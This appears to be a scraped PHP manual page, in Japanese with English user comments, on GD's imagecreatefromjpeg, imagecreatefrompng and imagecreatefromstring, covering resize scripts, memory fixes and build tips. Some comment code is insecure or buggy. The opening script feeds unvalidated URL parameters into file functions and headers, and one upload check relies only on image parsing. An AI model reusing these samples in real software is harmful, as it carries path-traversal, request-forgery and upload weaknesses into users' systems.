ob_start("ob_gzhandler");
$PHP_SELF=$_SERVER['PHP_SELF'];
include "include/errors.php"; //error log script

// actual script begins here
$type=false;
function open_image ($file) {
    //detect type and process accordinally
    global $type;
    $size=getimagesize($file);
    switch($size["mime"]){
        case "image/jpeg":
            $im = imagecreatefromjpeg($file); //jpeg file
        break;
        case "image/gif":
            $im = imagecreatefromgif($file); //gif file
      break;
      case "image/png":
          $im = imagecreatefrompng($file); //png file
      break;
    default:
        $im=false;
    break;
    }
    return $im;
}

$url = $_GET['url'];
if (isset($_SERVER['HTTP_IF_MODIFIED_SINCE']) && (strtotime($_SERVER['HTTP_IF_MODIFIED_SINCE']) == filemtime($url))) {
  // send the last mod time of the file back
    header('Last-Modified: '.gmdate('D, d M Y H:i:s', filemtime($url)).' GMT', true, 304); //is it cached?
} else {

$image = open_image($url);

if ($image === false) { die ('Unable to open image'); }

$w = imagesx($image);
$h = imagesy($image);

//calculate new image dimensions (preserve aspect)
if(isset($_GET['w']) && !isset($_GET['h'])){
    $new_w=$_GET['w'];
    $new_h=$new_w * ($h/$w);
} elseif (isset($_GET['h']) && !isset($_GET['w'])) {
    $new_h=$_GET['h'];
    $new_w=$new_h * ($w/$h);
} else {
    $new_w=isset($_GET['w'])?$_GET['w']:560;
    $new_h=isset($_GET['h'])?$_GET['h']:560;
    if(($w/$h) > ($new_w/$new_h)){
        $new_h=$new_w*($h/$w);
    } else {
        $new_w=$new_h*($w/$h);
    }
}

$im2 = ImageCreateTrueColor($new_w, $new_h);
imagecopyResampled ($im2, $image, 0, 0, 0, 0, $new_w, $new_h, $w, $h);
//effects
if(isset($_GET['blur'])){
    $lv=$_GET['blur'];
    for($i=0; $i<$lv;$i++){
        $matrix=array(array(1,1,1),array(1,1,1),array(1,1,1));
        $divisor = 9;
        $offset = 0;
        imageconvolution($im2, $matrix, $divisor, $offset);
    }
}
if(isset($_GET['sharpen'])){
    $lv=$_GET['sharpen'];
    for($i=0; $i<$lv;$i++){
        $matrix = array(array(-1,-1,-1),array(-1,16,-1),array(-1,-1,-1));
        $divisor = 8;
        $offset = 0;
        imageconvolution($im2, $matrix, $divisor, $offset);
    }
}

header('Content-type: image/jpeg');
$name=explode(".", basename($_GET['url']));
header("Content-Disposition: inline; filename=".$name[0]."_t.jpg");
header('Last-Modified: ' . gmdate('D, d M Y H:i:s', filemtime($url)) . ' GMT');
header("Cache-Control: public");
header("Pragma: public");
imagejpeg($im2);
//imagedestroy($im2);
//imagedestroy($image);
}

?>
Ray.Paseur sometimes uses Gmail 08-Oct-2010 03:19
If you have a blank in the file name, and you use a local URL, this function works.  Not so with a fully qualified URL

<?php
$url = 'RAY_rgb 300x100.jpg';
$img = ImageCreateFromJPEG($url);
// WORKS PERFECTLY

$url = 'http://www.example.com/RAY_rgb 300x100.jpg';
$img = ImageCreateFromJPEG($url);
// FAILS Warning: imagecreatefromjpeg() [function.imagecreatefromjpeg]: gd-jpeg: JPEG library reports unrecoverable error
?>
nico at anvilstudios dot co dot za 07-Sep-2010 12:41
I encountered a problem with this function on a windows system. Instead of returning false in case of the file not being a JPG, the function resulted in an error:
"imagecreatefromjpeg() : gd-jpeg : JPEG library reports unrecoverable error".

To get around this first check whether the file is a JPEG file using its mime type, if it is not return false.
brentwientjes at NOSPAM dot comcast dot net 16-Feb-2010 12:47
Last night I posted the following note under move_upload_file and looked tonight to see if it got into the system.  I happen to also pull up imagecreatefromjpeg and got reminded of many resize scripts in this section.  Unfortunately, my experience was not covered by most of the examples below because each of them assumed less than obvious requirements of the server and browser.  So here is the post again under this section to help others uncover the mystery in file uploading and resizing arbitrary sized images.  I have been testing for several days with hundreds of various size images and it seems to work well.  Many additional features could be added such as transparency, alpha blending, camera specific knowledge, more error checking.  Best of luck.

---  from move_upload_file post ---

I have for a couple of years been stymed to understand how to effectively load images (of more than 2MB) and then create thumbnails.  My note below on general file uploading was an early hint of some of the system default limitations and I have recently discovered the final limit  I offer this as an example of the various missing pieces of information to successfully load images of more than 2MB and then create thumbnails.  This particular example assumes a picture of a user is being uploaded and because of browser caching needs a unique number at the end to make the browser load a new picture for review at the time of upload.  The overall calling program I am using is a Flex based application which calls this php file to upload user thumbnails.

The secret sauce is:

1.  adjust server memory size, file upload size, and post size
2.  convert image to standard formate (in this case jpg) and scale

The server may be adjusted with the .htaccess file or inline code.  This example has an .htaccess file with file upload size and post size and then inline code for dynamic system memory.

htaccess file:
php_value post_max_size 16M
php_value upload_max_filesize 6M

<?php
//  $img_base = base directory structure for thumbnail images
//  $w_dst = maximum width of thumbnail
//  $h_dst = maximum height of thumbnail
//  $n_img = new thumbnail name
//  $o_img = old thumbnail name
function convertPic($img_base, $w_dst, $h_dst, $n_img, $o_img)
  {ini_set('memory_limit', '100M');   //  handle large images
   unlink($img_base.$n_img);         //  remove old images if present
   unlink($img_base.$o_img);
   $new_img = $img_base.$n_img;

   $file_src = $img_base."img.jpg";  //  temporary safe image storage
   unlink($file_src);
   move_uploaded_file($_FILES['Filedata']['tmp_name'], $file_src);

   list($w_src, $h_src, $type) = getimagesize($file_src);  // create new dimensions, keeping aspect ratio
   $ratio = $w_src/$h_src;
   if ($w_dst/$h_dst > $ratio) {$w_dst = floor($h_dst*$ratio);} else {$h_dst = floor($w_dst/$ratio);}

   switch ($type)
     {case 1:   //   gif -> jpg
        $img_src = imagecreatefromgif($file_src);
        break;
      case 2:   //   jpeg -> jpg
        $img_src = imagecreatefromjpeg($file_src);
        break;
      case 3:  //   png -> jpg
        $img_src = imagecreatefrompng($file_src);
        break;
     }
   $img_dst = imagecreatetruecolor($w_dst, $h_dst);  //  resample

   imagecopyresampled($img_dst, $img_src, 0, 0, 0, 0, $w_dst, $h_dst, $w_src, $h_src);
   imagejpeg($img_dst, $new_img);    //  save new image

   unlink($file_src);  //  clean up image storage
   imagedestroy($img_src);
   imagedestroy($img_dst);
  }

$p_id = (Integer) $_POST[uid];
$ver = (Integer) $_POST[ver];
$delver = (Integer) $_POST[delver];
convertPic("your/file/structure/", 150, 150, "u".$p_id."v".$ver.".jpg", "u".$p_id."v".$delver.".jpg");

?>
dmhouse at gmail dot com 08-Aug-2007 03:37
For a script that allows you to calculate the "fudge factor" discussed below by Karolis and Yaroukh, try the following. Grab a few images, preferably some large ones (the script should cope with images of up to 10 megapixels or so), some small ones, and some ones in between. Add their filenames to the $images array, then load the script in your browser.

<?php

header('Content-Type: text/plain');

ini_set('memory_limit', '50M');

function format_size($size) {
  if ($size < 1024) {
    return $size . ' bytes';
  }
  else {
    $size = round($size / 1024, 2);
    $suffix = 'KB';
    if ($size >= 1024) {
      $size = round($size / 1024, 2);
      $suffix = 'MB';
    }
    return $size . ' ' . $suffix;
  }
}

$start_mem = memory_get_usage();

echo <<<INTRO
The memory required to load an image using imagecreatefromjpeg() is a function
of the image's dimensions and the images's bit depth, multipled by an overhead.
It can calculated from this formula:
Num bytes = Width * Height * Bytes per pixel * Overhead fudge factor
Where Bytes per pixel = Bit depth/8, or Bits per channel * Num channels / 8.
This script calculates the Overhead fudge factor by loading images of
various sizes.
INTRO;

echo "\n\n";

echo 'Limit: ' . ini_get('memory_limit') . "\n";
echo 'Usage before: ' . format_size($start_mem) . "\n";

// Place the images to load in the following array:
$images = array('image1.jpg', 'image2.jpg', 'image3.jpg');
$ffs = array();

echo "\n";

foreach ($images as $image) {
  $info = getimagesize($image);
  printf('Loading image %s, size %s * %s, bpp %s... ',
         $image, $info[0], $info[1], $info['bits']);
  $im = imagecreatefromjpeg($image);
  $mem = memory_get_usage();
  echo 'done' . "\n";
  echo 'Memory usage: ' . format_size($mem) . "\n";
  echo 'Difference: ' . format_size($mem - $start_mem) . "\n";
  $ff = (($mem - $start_mem) /
         ($info[0] * $info[1] * ($info['bits'] / 8) * $info['channels']));
  $ffs[] = $ff;
  echo 'Difference / (Width * Height * Bytes per pixel): ' . $ff . "\n";
  imagedestroy($im);
  $start_mem = memory_get_usage();
  echo 'Destroyed. Memory usage: ' . format_size($start_mem) . "\n";

  echo "\n";
}

echo 'Mean fudge factor: ' . (array_sum($ffs) / count($ffs));

?>
huguowen at cn dot ibm dot com 16-May-2007 11:57
Tips for Windows User to Set up GD(dynamic graphic lib) with PHP.

Problem I meet:

When i run following function, which terminates at

$img = @imagecreatefromjpeg($image_path);

error message is : undefined function imagecreatefromjpeg();

no other code of the script gets executed.

Solution:

In one word, you need to turn on gd lib,
which hold the implementation of imagecreatefromjpeg();

please follow below steps:

my php install dir is: c:/php/
first you must try to find:
c:/php/php.ini
c:/php/ext/php_gd2.dll(php 5)
c:/php/extension/php_gd2.dll(php 4)

The php_gd2.dll is included in a standard PHP installation for Windows,
however, it's not enabled by default.
You have to turn it on,
You may simply uncomment the line "extension=php_gd2.dll" in php.ini and restart the PHP extension.

Change:
,extension=php_gd2.dll

To:
extension=php_gd2.dll

You may also have to correct the extension directory setting
from:
extension_dir = "./"
extension_dir = "./extensions"
To (FOR WINDOWS):
extension_dir = "c:/php/extensions"(php 4)
extension_dir = "c:/php/ext"(php 5)

Cheers!
sales at wholehogsoftware dot com 02-May-2007 09:10
I've found a bug in CentOS 4.x that, while previously addressed, does not seem to be directly addressed here as far as the nature of the bug is concerned.

If you are having a problem getting this function to work on CentOS 4.4 (may appear earlier) and are receiving this error:

Call to undefined function imagecreatefromjpeg()

This is because the installation *does* support JPG by default if you have libjpeg installed. However, the config script finds libjpeg in /usr/lib but it is never successfully added to the PHP build.

To fix this, you should recompile PHP and be absolutely sure to add '--with-jpeg-dir' to the config command. This should appear BEFORE the --with-gd option. Example:

'--with-jpeg-dir' '--with-gd'

If you don't put it before --with-gd, the option is completely ignored.

As always, be sure to do a 'make clean' before a 'make install'. I made the mistake of forgetting to check and wasted 30 minutes trying to resolve this problem simply because I forgot to clean up after myself previously.
hvozda at ack dot org 30-Oct-2006 03:42
If imagecreatefromjpeg() fails with "PHP Fatal error:  Call to undefined function:  imagecreatefromjpeg()", it does NOT necessarily mean that you don't have GD installed.

If phpinfo() shows GD, but not JPEG support, then that's the problem.  You would think that --with-gd would do the right thing since it does check for the existance of libjpeg (and finds it) and add that feature to GD, but it doesn't in v4.4.4 at least on RHEL v2.1, RHEL v3, CentOS v2.1 or CentOS v4.3.

On those platforms, it's *important* that --with-jpeg-dir be *before* --with-gd.  If it's not, GD won't build with jpeg support as if --with-jpeg-dir had never been specified...
info at daleconsulting dot com dot au 29-Aug-2006 06:34
In a post by Angel Leon, an example script was given that forms a thumbnail gallery using imagecreatefromjpeg.  I am fairly new to php scripts, but I found that the script did not display the table of thumbnail images if the row wasn't "filled" with images.. i.e. if there were 5 images in the folder and the script specified 3 rows in the table, then the page would only display the thumbnails for the first row and only three images were shown.  I found that if you specified the variable row with this equation, then the table would display properly:

$row = intval(count($files)+($row_size-1));

(This is the first line in the createThumbTable function.)
05-Jun-2006 10:42
regarding e dot a dot schultz at gmail dot com post

i tried the script (with the bugfixes posted later) and still got memorytrouble. most often it is still not enough memory to upload big images, even if it seems to calculate right. so this helped my perfectly:

$newLimit = $newLimit+3000000; (before passing it to the ini_set() function).

extremly simple and maybe not the best solution, but it works for now (you sure can give it less than an additional 3mb, just try what works for you).
ben dot lancaster at design-ontap dot co dot uk 24-May-2006 05:21
It is worth noting that all of the imagecreate* functions quite intentionally do not look in the include_path
anatol at nugob dot org 04-May-2006 10:59
When working with uploaded jpeg files it is usually a good idea to execute a little but very useful program called jhead
( http://www.sentex.net/~mwandel/jhead/ ).

This will clean up unnecessary jpeg header information which can cause trouble. Some cameras or applications write binary data into the headers which may result in ugly results such as strange colors when you resample the image later on.

Usage:
<?php
exec("/path/to/jhead -purejpg /path/to/image");
// for example when you uploaded a file through a form, do this before you proceed:
exec("/path/to/jhead -purejpg ".$file['tmp_name']);
?>

I didn't have the chance to test this but I guess this might even solve the problem caused by images that were taken with Canon PowerShot cameras which crash PHP.

This is from the jhead documentation: "-purejpg: Delete all JPEG sections that aren't necessary for rendering the image. Strips any metadata that various applications may have left in the image."

jhead got some other useful options as well...
webmaster at killer dot com dot ar 25-Apr-2006 01:16
The prior script by "e dot a dot schultz at gmail dot com", have a bug

$memoryLimitMB don't have a value

Add
         $memoryLimitMB = 8;
Before
          $memoryLimit = 8 * $MB;
And change that line for:
          $memoryLimit = $memoryLimitMB * $MB;

--------------

Something similar happens with the script by "JohnBrook at pobox dot com"

$memoryLimit don't have a value

Change:

$memoryLimit = $memoryLimit * $MB;

For:
  $memoryLimit = $memoryLimitMB * $MB;
e dot a dot schultz at gmail dot com 08-Apr-2006 04:35
In John's human readable code version of Karolis code to dynimicly allocate need memory there are a few bugs. If you didn't compile with the "--enable-memory-limit" option, this script will error with a level E_ERROR. Bellow is a fixed version rapped as a function. To view replacement functions for memory_get_usage() look at http://us2.php.net/manual/en/function.memory-get-usage.php

<?php
function setMemoryForImage( $filename ){
    $imageInfo = getimagesize($filename);
    $MB = 1048576;  // number of bytes in 1M
    $K64 = 65536;    // number of bytes in 64K
    $TWEAKFACTOR = 1.5;  // Or whatever works for you
    $memoryNeeded = round( ( $imageInfo[0] * $imageInfo[1]
                                           * $imageInfo['bits']
                                           * $imageInfo['channels'] / 8
                             + $K64
                           ) * $TWEAKFACTOR
                         );
    //ini_get('memory_limit') only works if compiled with "--enable-memory-limit" also
    //Default memory limit is 8MB so well stick with that.
    //To find out what yours is, view your php.ini file.
    $memoryLimit = 8 * $MB;
    if (function_exists('memory_get_usage') &&
        memory_get_usage() + $memoryNeeded > $memoryLimit)
    {
        $newLimit = $memoryLimitMB + ceil( ( memory_get_usage()
                                            + $memoryNeeded
                                            - $memoryLimit
                                            ) / $MB
                                        );
        ini_set( 'memory_limit', $newLimit . 'M' );
        return true;
    }else
        return false;
    }
}
?>
Christoph Ziegenberg 13-Mar-2006 01:26
Matt reported that PHP crashs using imagecreatefromjpeg() - that's true and it took me a lot of time to find the error - but not only the Canon PowerShot S70, also the Canon PowerShot  A400 lets PHP (5.1.2) crash, without any chance to catch it!

So I exclude all Canon PowerShot images with the following check:

    function check_canonpowershot($filename)
    {
        if (strpos(file_get_contents($filename), 'Canon PowerShot') !== false)
        {
            return true;
        }
        return false;
    }
JohnBrook at pobox dot com 09-Feb-2006 07:14
Also, here is the same formula presented in a somewhat more human-readable way, if you'd rather:

<?php
$MB = Pow(1024,2);   // number of bytes in 1M
$K64 = Pow(2,16);    // number of bytes in 64K
$TWEAKFACTOR = 1.8;   // Or whatever works for you
$memoryNeeded = round( ( $imageInfo[0] * $imageInfo[1]
                                        * $imageInfo['bits']
                                        * $imageInfo['channels'] / 8
                          + $K64
                        ) * $TWEAKFACTOR
                     );
$memoryHave = memory_get_usage();
$memoryLimitMB = (integer) ini_get('memory_limit');
$memoryLimit = $memoryLimit * $MB;

if ( function_exists('memory_get_usage')
     && $memoryHave + $memoryNeeded > $memoryLimit
   ) {
   $newLimit = $memoryLimitMB + ceil( ( $memoryHave
                                      + $memoryNeeded
                                      - $memoryLimit
                                      ) / $MB
                                    );
   ini_set( 'memory_limit', $newLimit . 'M' );
}
?>
JohnBrook at pobox dot com 09-Feb-2006 06:51
Additional note on allocating memory: The 1.65 in the formula provided below by yaroukh and Karolis is evidently a "fudge factor" arrived at through experimentation. I found that I had to nudge it up a little bit in order to accurately predict the memory that would be needed, otherwise the allocation still failed. In my case, I went right to 1.8 and that has worked so far. Your mileage may vary, so experiment as needed.
yaroukh at gmail dot com 09-Feb-2006 04:29
Hello Karolis

My solution was intended to solve situations when your webhoster puts a limit on the memory usage; in such a situations ini_set doesn't work ofcourse (even for variables that have 'PHP_INI_ALL' flag in a typical PHP-installation).

Have a nice day
  Yaroukh
Karolis Tamutis karolis.t_AT_gmail.com 30-Dec-2005 05:04
In addition to yaroukh at gmail dot com comment.

It seems that even a small image can eat up your default memory limit real quick. Config value 'memory_limit' is marked PHP_INI_ALL, so you can change it dynamically using ini_set. Therefore, we can "allocate memory dynamically", to prevent those memory limit exceeded errors.

<?php

$imageInfo = getimagesize('PATH/TO/YOUR/IMAGE');
$memoryNeeded = round(($imageInfo[0] * $imageInfo[1] * $imageInfo['bits'] * $imageInfo['channels'] / 8 + Pow(2, 16)) * 1.65);

if (function_exists('memory_get_usage') && memory_get_usage() + $memoryNeeded > (integer) ini_get('memory_limit') * pow(1024, 2)) {

    ini_set('memory_limit', (integer) ini_get('memory_limit') + ceil(((memory_get_usage() + $memoryNeeded) - (integer) ini_get('memory_limit') * pow(1024, 2)) / pow(1024, 2)) . 'M');

}

?>
yaroukh at gmail dot com 21-Aug-2005 04:15
Estimated memory needed for ImageCreateFromJPEG

First I supposed simple width*height*bpp will be enough, it isn't though; there is some pretty big overhead.

$imageInfo = GetImageSize($imageFilename);
$memoryNeeded = Round(($imageInfo[0] * $imageInfo[1] * $imageInfo['bits'] * $imageInfo['channels'] / 8 + Pow(2, 16)) * 1.65);

With memory_limit enabled running out of memory causes script to crash; above written will tel you how much memory you're gonna need for creating an image-resource out of image-file. So in conjunction with Memory_Get_Usage() and Get_CFG_Var('memory_limit') you can avoid the mentioned ending. (Yet there won't be too many images blocked from processing that would still fit in the memory, as the results of this are pretty accurate.)
linus at flowingcreativity dot net 29-May-2005 09:20
I am using PHP 4.3.8 and GD 2.0.23-compatible, and this function does not return an empty string on failure as stated. This line:

<?php
var_dump(imagecreatefromjpeg('bogus filename'));
?>

outputs:

bool(false)

Of course this doesn't matter unless you're using a strict comparison operator to evaluate the result, but I thought I'd point it out.
ceefour -at!- gauldong.net 24-Feb-2005 02:24
I have to say recompiling PHP from the sources and enabling JPEG support in gd took me awhile to figure out.

Somewhere especially configure --help should have stated that --with-jpeg-dir is MANDATORY if you want to have JPEG support. And even if you did so, it doesn't mean you'll get it. If it's wrongly configured, no error is going to be output, all you get is "no JPEG support". What's more confusing is when JPEG support is disabled phpinfo won't say "JPEG Support: disabled", but just omit the entry so you won't even realize something is wrong.

If you recompile PHP or gd, make sure:
- rm -f config.cache FIRST
- make clean (this helps A LOT), actually you can just delete modules/gd.*, and every *.o in ext/gd. this part actually gave me the best headache
- ./configure --with-jpeg-dir=/usr/lib OR any other directory which contains the BINARY library of libjpeg
- make, make install

phpinfo should now display jpeg support... good luck.
(you lucky guys who already have PHP 5 installed on your server... you don't have to go through all the mess I had)
cs at kainaw dot com 01-Nov-2004 11:09
The ImageCreateFromJPEG() function is capable of throwing an emalloc() error.  If this happens, the script will die, but the error will be in your error logs.  You should ensure that you have memory available before creating a large image from a jpeg file.
willertan1980 at yahoo dot com 20-Aug-2003 04:14
did you found that sometimes it hang the php when imagecreatefromjpeg() run on bad JPEG. I found that this is cause by the JPEG file U used dont have EOI (end of image)
the FF D9 at the end of your JPEG

JPEG image should start with 0xFFD8 and end with 0xFFD9

// this may help to fix the error
function check_jpeg($f, $fix=false ){
# [070203]
# check for jpeg file header and footer - also try to fix it
    if ( false !== (@$fd = fopen($f, 'r+b' )) ){
        if ( fread($fd,2)==chr(255).chr(216) ){
            fseek ( $fd, -2, SEEK_END );
            if ( fread($fd,2)==chr(255).chr(217) ){
                fclose($fd);
                return true;
            }else{
                if ( $fix && fwrite($fd,chr(255).chr(217)) ){return true;}
                fclose($fd);
                return false;
            }
        }else{fclose($fd); return false;}
    }else{
        return false;
    }
}
bpiere21 at hotmail dot com 29-Jun-2002 06:57
###--- imagecreatefromjpeg only opens JPEG files from your disk.
###--- To load JPEG images from a URL, use the function below.

function LoadJPEG ($imgURL) {

    ##-- Get Image file from Port 80 --##
    $fp = fopen($imgURL, "r");
    $imageFile = fread ($fp, 3000000);
    fclose($fp);

    ##-- Create a temporary file on disk --##
    $tmpfname = tempnam ("/temp", "IMG");

    ##-- Put image data into the temp file --##
    $fp = fopen($tmpfname, "w");
    fwrite($fp, $imageFile);
    fclose($fp);

    ##-- Load Image from Disk with GD library --##
    $im = imagecreatefromjpeg ($tmpfname);

    ##-- Delete Temporary File --##
    unlink($tmpfname);

    ##-- Check for errors --##
    if (!$im) {
        print "Could not create JPEG image $imgURL";
    }

    return $im;
}

$imageData = LoadJPEG("http://www.example.com/example.jpg");

Header( "Content-Type: image/jpeg");

imagejpeg($imageData, '', 100);
dmsales at design-monster dot com 27-Jun-2001 10:17
I just wanted to note here something i found else where that was very helpful to me when using jpeg images.  when using imagecreatefromjpeg()  it can be difficult to allocate new colors.

The work around i found was posted under imagecolorallocate() and prescribes that you first use imagecreate(), allocate colors, and then copy the jpeg into this image.
rodders_plonker at yahoo dot com 21-Jul-2000 08:49
To all those having trouble with a message to the effect of:
CreateImageFromJpeg() not supported in this PHP build
Start by adding --with-jpeg-dir to your ./configure options as I left this out (not knowing I needed it) and I spent the best part of 6 hours trying to compile to get this option. (RH 6.2, PHP 4.0.1pl2, Apache 1.3.12, GD 1.8.3)


新しい画像をファイルあるいは URL から作成する

  • ≪ imagecreatefromjpeg
  • imagecreatefromstring ≫
  • PHP Manual
  • GD および Image 関数
  • 新しい画像をファイルあるいは URL から作成する

imagecreatefrompng

(PHP 4, PHP 5, PHP 7, PHP 8)

imagecreatefrompng — 新しい画像をファイルあるいは URL から作成する

説明

imagecreatefrompng ( string $filename ) : resource

imagecreatefrompng()は引数 filename から得られる画像を表す画像 ID を返します。

ヒント

fopen wrappers が有効の場合、この関数のファイル名として URL を使用することができます。ファイル名の指定方法に関する詳細は fopen() を参照ください。 サポートするプロトコル/ラッパー には、さまざまなラッパーの機能やその使用法、 提供される定義済み変数などの情報がまとめられています。

パラメータ

filename

PNG 画像へのパス。

返り値

成功した場合に画像リソース ID、エラー時に false を返します。

例

例1 PNG の作成時のエラーを処理する例

<?php
function LoadPNG($imgname)
{
    /* オープンします */
    $im = @imagecreatefrompng($imgname);

    /* 失敗したかどうかを調べます */
    if(!$im)
    {
        /* 空の画像を作成します */
        $im  = imagecreatetruecolor(150, 30);
        $bgc = imagecolorallocate($im, 255, 255, 255);
        $tc  = imagecolorallocate($im, 0, 0, 0);

        imagefilledrectangle($im, 0, 0, 150, 30, $bgc);

        /* エラーメッセージを出力します */
        imagestring($im, 1, 5, 5, 'Error loading ' . $imgname, $tc);
    }

    return $im;
}

header('Content-Type: image/png');

$img = LoadPNG('bogus.image');

imagepng($img);
imagedestroy($img);
?>

上の例の出力は、 たとえば以下のようになります。

User Contributed Notes

katalin at knittedforyou dot com 17-Oct-2017 04:45
I have this code:

if (exif_imagetype($this->img_name) == IMAGETYPE_PNG) {
                try {

                    $this->image = imagecreatefrompng($this->img_name);
                    Error::log('It is a png: '.$this->img_name);
                } catch (Exception $e) {
                    echo "The image file has some strange charachters. Probably not a png image?";
                    $this->image = '';
                    $this->img_name = '';
                }
            }

And I get this error in the error.log:
PHP Unknown error:  imagecreatefrompng(): gd-png: fatal libpng error: Extra compressed data\n in Unknown on line 0

The file that I try to open is a generated .png image which I can open from gimp and Geeqie.

What is the problem? Could you please help me?
Cyrille37 13-Oct-2015 11:00
The image size (width x height) should not exceed INT_MAX ... It's still thrue on a 64 bits computer.
admin at wdfa dot co dot uk 17-Apr-2009 03:06
When using imagecreatepng with alpha blending you will lose the blending.

To over come this use something like the following
<?php
$dstimage=imagecreatetruecolor($width,$height);
$srcimage=imagecreatefrompng($src);
imagecopyresampled($dstimage,$srcimage,0,0,0,0, $width,$height,$width,$height);
?>
Where $width and $height are the width and height of the $src image.

This will create a true colour image then copy the png image to this true colour image and retain alpha blending.
marcos at assl-site dot net 28-Feb-2007 12:23
I had the same problem as jboyd1189 at yahoo dot com but I solve d it allocating more memory dynamically.

Usually the memory_limit var on php.ini is set to 8M. Unfortunately, the required amount of memory to manage a PNG image about 1000x1000 could be bigger !

The approach I used to solve the problem is:

1-Calculate the memory required by the image
2-Set the new memory_limit value
3-Create the PNG image and thumbnail
4-Restore the original value

1-The following value works for me:
$required_memory = Round($width * $height * $size['bits']);

Note that for JPEG the requirements are not the same:
http://es2.php.net/manual/en/function.imagecreatefromjpeg.php#60241

2-Use somthing like:
$new_limit=memory_get_usage() + $required_memory;
ini_set("memory_limit", $new_limit);

4-ini_restore ("memory_limit");
jboyd1189 at yahoo dot com 05-Jul-2006 02:49
I was having a terrible time with the imagecreatefrompng function as it was working perfectly for one image and not at all for another.  After many hours of frustration, I discovered that the problem was the image size (number of pixels).  It appears that the maximum number of pixels this function will process is 1,040,000.  So, be sure that the pixel resolution of the image (eg. 1040 x 1000) does not exceed this value.
07-Jun-2004 04:14
If you're trying to load a translucent png-24 image but are finding an absence of transparency (like it's black), you need to enable alpha channel AND save the setting. I'm new to GD and it took me almost two hours to figure this out.

<?php
$imgPng = imageCreateFromPng($strImagePath);
imageAlphaBlending($imgPng, true);
imageSaveAlpha($imgPng, true);

/* Output image to browser */
header("Content-type: image/png");
imagePng($imgPng);
?>


文字列の中のイメージストリームから新規イメージを作成する

  • ≪ imagecreatefrompng
  • imagecreatefromwbmp ≫
  • PHP Manual
  • GD および Image 関数
  • 文字列の中のイメージストリームから新規イメージを作成する

imagecreatefromstring

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

imagecreatefromstring — 文字列の中のイメージストリームから新規イメージを作成する

説明

imagecreatefromstring ( string $image ) : resource

imagecreatefromstring() は、指定した image から 得られたイメージを表すイメージ ID を返します。もし、PHP が JPEG, PNG, GIF, BMP, WBMP, GD2, WEBP をサポートするようビルドされている場合、 イメージの種類は自動的に判別されます。

パラメータ

image

画像データを含む文字列。

返り値

成功時にはイメージリソースが返されます。 イメージの種類がサポートされていない、データのフォーマットが識別できない、 イメージが壊れておりリロードできないなどの場合は false が返されます。

変更履歴

バージョン | 説明
7.3.0 | WEBP がサポートされました。 (但し、使っている libgd がサポートしている場合に限ります)

エラー / 例外

認識できない書式のデータを受け取った場合に、 imagecreatefromstring() は E_WARNING レベルのエラーを発酵します。

例

例1 imagecreatefromstring() の例

<?php
$data = 'iVBORw0KGgoAAAANSUhEUgAAABwAAAASCAMAAAB/2U7WAAAABl'
       . 'BMVEUAAAD///+l2Z/dAAAASUlEQVR4XqWQUQoAIAxC2/0vXZDr'
       . 'EX4IJTRkb7lobNUStXsB0jIXIAMSsQnWlsV+wULF4Avk9fLq2r'
       . '8a5HSE35Q3eO2XP1A1wQkZSgETvDtKdQAAAABJRU5ErkJggg==';
$data = base64_decode($data);

$im = imagecreatefromstring($data);
if ($im !== false) {
    header('Content-Type: image/png');
    imagepng($im);
    imagedestroy($im);
}
else {
    echo 'エラーが発生しました。';
}
?>

上の例の出力は、 たとえば以下のようになります。

出力例 : imagecreatefromstring()

参考

  • imagecreatefromjpeg() - 新しい画像をファイルあるいは URL から作成する
  • imagecreatefrompng() - 新しい画像をファイルあるいは URL から作成する
  • imagecreatefromgif() - 新しい画像をファイルあるいは URL から作成する
  • imagecreatetruecolor() - TrueColor イメージを新規に作成する

User Contributed Notes

adeline dot duterre at boxify dot be 17-Dec-2019 04:28
Many websites add, during the conversion from .jpg / .png to base64 some words before the base64 string : "data:image/png;base64,"

If you let them, the PHP function will return an error "Data is not in a recognized format in".

If you have this situation :

$image_string=str_replace("data:image/png;base64,","",$image_string);
$image_string = base64_decode($image_string);
$img = imagecreatefromstring($image_string);
chris at haydenwheeler dot com 28-Aug-2019 01:55
imagecreatefromstring does not appear to support WebP images (tested on PHP 7.2.10, with GD 2.1.0 and GD WebP support enabled)
anon at dude dot com 07-Feb-2016 12:59
[Editor's note: BMP will be supported as of PHP 7.2.0.]

In case it's not obvious from the lack of "imagecreatefrombmp()" in GD, this function cannot handle plain old BMP files either.
hope at it-helps dot com 26-May-2011 04:29
Create an image resource from file, without knowing image type:

<?php
function imagecreatefromfile($imagepath=false) {
    if(!$imagepath || !$is_readable($imagepath) return false;
    return @imagecreatefromstring(file_get_contents($imagepath));
}
$img_resource=imagecreatefromfile($imagepath);
?>
php dot net at phor dot net 25-Oct-2009 11:12
My site allows anonymous uploads to a web-accessible location (that will execute a script if it finds one).

Naturally, I need to verify that only harmless content is accepted. I am expecting only images, so I use:

<?php
  $im = $imagecreatefromstring($USERFILE);
  $valid = ($im != FALSE);
  imagedestroy($im);
  return $valid;
?>
logan at logansbailey dot com 10-Aug-2009 06:00
So you guys don't spend an hour trying to figure out why your script keeps running out of memory when you're using this or the other imagecreatefrom functions.  GD uncompresses the image when you use these functions, and this can lead to your script running out of memory.

If you download a rawimage save it on your computer to jpeg so the file size comes down, GD will automatically convert it to the raw and you can possibly run out of memory.
ville dot jungman at gmail dot com 24-Sep-2008 02:01
While downloading images from internet, it's easiest to let php decide what is the file type. So, forget using imagecreatefromjpg, imagecreatefromgif and imagecreatefrompng. Instead, this is the way to go:

<?php
$src = "http://www.varuste.net/tiedostot/l_ylabanneri.jpg";
$image = imagecreatefromstring(file_get_contents($src));
?>
nfo[NOSPAM] at safernetworks dot net 08-Sep-2008 07:04
The only way I managed to resolve the loading of image files from file data either on local site or from off-site protocols is as follows. I hope this saves someone else the two hours of debugging and looking for good examples.
[PHP]

<?php
$sFile = "http://www.justgreatwine.co.uk/img/vineyard.jpg";
$imagedata = GetFileData($sFile); //load the file in 4k chunks
/*=======THE OUTPUT=========*/
ob_start();
// assuming you have image data in $imagedata
$length = strlen($imagedata);
header('Last-Modified: '.date('r'));
header('Accept-Ranges: bytes');
header('Content-Length: '.$length);
header('Content-Type: image/jpeg');
print($imagedata);
ob_end_flush();
/*======FUNCTIONS USED======*/
function GetFileData($sFilePath){
    $fp = fopen($sFilePath, 'rb') or die('404! Unable to open file!');
    $buf = '';
    while(!feof($fp)){
        $buf .= fgets($fp, 4096);
    }
    fclose($fp);
return $buf; //returns False if failed, else the contents up to FileSize bytes.
}
?>

[/PHP]
Blizzke at gmail dot com 13-Sep-2007 02:21
